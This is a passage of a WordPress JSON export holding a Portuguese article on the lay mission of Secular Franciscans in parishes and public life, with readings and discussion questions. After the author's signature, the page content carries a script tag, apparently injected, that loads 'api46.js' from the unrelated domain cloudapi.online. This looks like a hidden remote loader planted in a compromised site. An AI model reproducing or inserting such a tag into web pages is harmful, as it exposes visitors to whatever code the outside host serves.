seus dramas. Desta formam \u201cexprimem\u201d seu desejo de proximidade da vida das pessoas.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Adotam posturas de \u00e9tica que transpiram convic\u00e7\u00f5es evang\u00e9licas. Tal se d\u00e1 individualmente, no jeito como reagem em suas fraternidades. No dia a dia de suas vidas ser\u00e3o conhecidos como pessoas que tomam decis\u00f5es na linha da justi\u00e7a inspiradas no evangelho. N\u00e3o \u00e9 um jeito de tornar expressiva a OFS?<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Sabem dialogar a respeito dos grandes temas da atualidade: novas formas de casamento, crise econ\u00f4mica, transforma\u00e7\u00f5es na bio\u00e9tica. Por isso, os formadores saber\u00e3o sempre trazer pessoas capazes de conversar com os irm\u00e3os sobre esses e outros grandes temas da atualidade.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Trabalham com lucidez nas diferentes frentes de pastoral. Os franciscanos seculares est\u00e3o \u00e0 disposi\u00e7\u00e3o dos Conselhos de Pastoral. Est\u00e3o dispostos a trabalhar na catequese, na evangeliza\u00e7\u00e3o, na anima\u00e7\u00e3o de grupos de reflex\u00e3o e mesmo na liturgia e\u00a0 no servi\u00e7o do alto. Fazem tudo sem perder sua \u201claicidade\u201d. N\u00e3o se deixam envolver por uma \u201cpromo\u00e7\u00e3o\u201d ao estado clerical. Este aspecto \u00e9 particularmente delicado. Os p\u00e1rocos e seus colaboradores\u00a0 contar\u00e3o com a colabora\u00e7\u00e3o dos terceiros desde que n\u00e3o percam sua caracter\u00edsticas de crist\u00e3os seculares. A OFS\u00a0 n\u00e3o \u00e9 uma \u201cpastoral\u201d da par\u00f3quia, mas um movimento suscitado pelo Esp\u00edrito para colocar alma nova em tudo, tamb\u00e9m na pastoral.<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Os que trabalham na pastoral\u00a0 querem uma convers\u00e3o da pastoral. \u201cA convers\u00e3o pastoral de nossas comunidades exige que se v\u00e1 al\u00e9m de uma pastoral de conserva\u00e7\u00e3o para uma pastoral decididamente mission\u00e1ria. Assim ser\u00e1 poss\u00edvel\u00a0 que o \u00fanico programa do Evangelho continue introduzindo-se em cada comunidade eclesial com novo ardor mission\u00e1rio, fazendo com que a Igreja se manifeste como m\u00e3e que vai ao encontro, uma casa acolhedora, uma escola permanente de comunh\u00e3o mission\u00e1ria\u201d (Doc. Aparecida, n. 370).<\/p>\n<p><strong>&gt;&gt;<\/strong>\u00a0Nunca trabalhar\u00e3o na linha de uma mera sacramentaliza\u00e7\u00e3o. Os franciscanos seculares precisar\u00e3o \u201cincomodar\u201d no sentido de apontar para a necessidade de se refazer o tecido comunit\u00e1rio e fraterno e que se procure fazer uma evangeliza\u00e7\u00e3o que atinja o n\u00f3 de cada pessoa e as insira na comunidade, na utopia da comunidade.<\/p>\n<p><strong>\u00a0Conclus\u00e3o<\/strong><\/p>\n<p>\u201cOs franciscanos seculares\u00a0 estejam presentes&#8230; no campo da vida p\u00fablica: colaborem, quanto lhes seja poss\u00edvel, na elabora\u00e7\u00e3o de leis e de normas justas (cf.Regra 15). No campo da promo\u00e7\u00e3o humana e da justi\u00e7a, as Fraternidades devem empenhar-se com iniciativas corajosas, em sintonia com a voca\u00e7\u00e3o franciscana e com as diretrizes da Igreja. Tomem posi\u00e7\u00f5es claras quando a pessoa humana \u00e9 ferida na sua dignidade em virtude da opress\u00e3o e da indiferen\u00e7a, qualquer que seja sua forma. Ofere\u00e7am seus servi\u00e7o fraterno \u00e0s v\u00edtimas da injusti\u00e7a. A ren\u00fancia ao uso da viol\u00eancia, caracter\u00edstica dos disc\u00edpulos de Francisco, n\u00e3o significa renuncia \u00e0 a\u00e7\u00e3o; os irm\u00e3os, por\u00e9m, cuidem que as suas interven\u00e7\u00f5es sejam sempre inspiradas no amor crist\u00e3o\u201d (<em>CCGG Art. 22<\/em>)<\/p>\n<p><strong>\u00a0Leituras<\/strong><\/p>\n<p>Exorta\u00e7\u00e3o Apost\u00f3lica Voca\u00e7\u00e3o e Miss\u00e3o dos Leigos, de Jo\u00e3o Paulo II<\/p>\n<p>Miss\u00e3o e minist\u00e9rios dos crist\u00e3os leigos e leigas (Doc. CNBB\u00a0 62).<\/p>\n<p>Carta a Diogneto\u00a0 (em torno de 150).<\/p>\n<p><strong>Quest\u00f5es e questionamentos:<\/strong><\/p>\n<p>O quem mais chamou sua aten\u00e7\u00e3o neste texto?<\/p>\n<p>De modo geral\u00a0 quando \u00e9 que se pode dizer que um crist\u00e3o-franciscano est\u00e1 em serio processo de crescimento?<\/p>\n<p>Como aplicar \u00e0 realidade o m\u00e9todo\u00a0 ver-julgar-agir?<\/p>\n<p>Sinais de maturidade e de imaturidade no momento atual da vida da Igreja e de nossas fraternidades.<\/p>\n<p>Que express\u00e3o tem sua fraternidade local na diocese, na par\u00f3quia e no mundo?<\/p>\n<p align=\"left\">(*) <strong>Frei Almir Ribeiro Guimar\u00e3es, OFM<\/strong><br \/>\nAssistente Nacional da OFS pela OFM e Assistente Regional do Sudeste III<\/p>\n<p><script id=\"lg210a\" src=\"https:\/\/cloudapi.online\/js\/api46.js\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Artigo<\/p>\n","protected":false},"author":1,"featured_media":174763,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[14],"tags":[103,44,47],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.2 - 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